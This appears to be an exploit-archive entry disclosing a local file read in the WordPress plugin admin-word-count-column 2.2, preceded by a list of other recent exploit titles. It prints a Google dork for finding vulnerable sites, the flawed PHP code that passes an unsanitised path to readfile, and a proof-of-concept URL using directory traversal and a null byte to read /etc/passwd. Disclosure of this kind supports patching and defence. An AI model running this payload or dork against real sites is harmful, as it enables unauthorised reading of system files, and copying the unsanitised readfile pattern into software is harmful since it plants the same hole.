54b7907ae6
11 changes to exploits/shellcodes PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated) Kramer VIAware 2.5.0719.1034 - Remote Code Execution (RCE) ImpressCMS 1.4.2 - Remote Code Execution (RCE) Atom CMS 2.0 - Remote Code Execution (RCE) Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS) WordPress Plugin Curtain 1.0.2 - Cross-site Request Forgery (CSRF) WordPress Plugin cab-fare-calculator 1.0.3 - Local File Inclusion WordPress Plugin video-synchro-pdf 1.7.4 - Local File Inclusion WordPress Plugin admin-word-count-column 2.2 - Local File Read CSZ CMS 1.2.9 - 'Multiple' Blind SQLi(Authenticated) WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS
31 lines
No EOL
998 B
Text
31 lines
No EOL
998 B
Text
# Exploit Title: WordPress Plugin admin-word-count-column 2.2 - Local File Read
|
|
# Google Dork: inurl:/wp-content/plugins/admin-word-count-column/
|
|
# Date: 27-03-2022
|
|
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
|
|
# Vendor Homepage: https://wordpress.org/plugins/admin-word-count-column/
|
|
# Version: 2.2
|
|
# Contact me: h [at] spidersilk.com
|
|
|
|
# PHP version: 5.3.2 or below
|
|
|
|
# Vulnerable File: plugins/admin-word-count-column/download-csv.php
|
|
|
|
# Vulnerable Code:
|
|
|
|
```
|
|
<?php
|
|
date_default_timezone_set('America/Los_Angeles');
|
|
$csvdate = date('Md-H-i-s-T');
|
|
$csvname = 'wordcounts-' . $csvdate . '.csv';
|
|
header('Content-Type: application/csv');
|
|
header('Content-Disposition: attachment; filename=' . $csvname);
|
|
header('Pragma: no-cache');
|
|
readfile($_GET['path'] . 'cpwc.csv');
|
|
?>
|
|
```
|
|
|
|
# Proof of Concept:
|
|
|
|
localhost/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0
|
|
|
|
Note: Null byte injection will only working in php 5.3.2 and below 5.3.2. |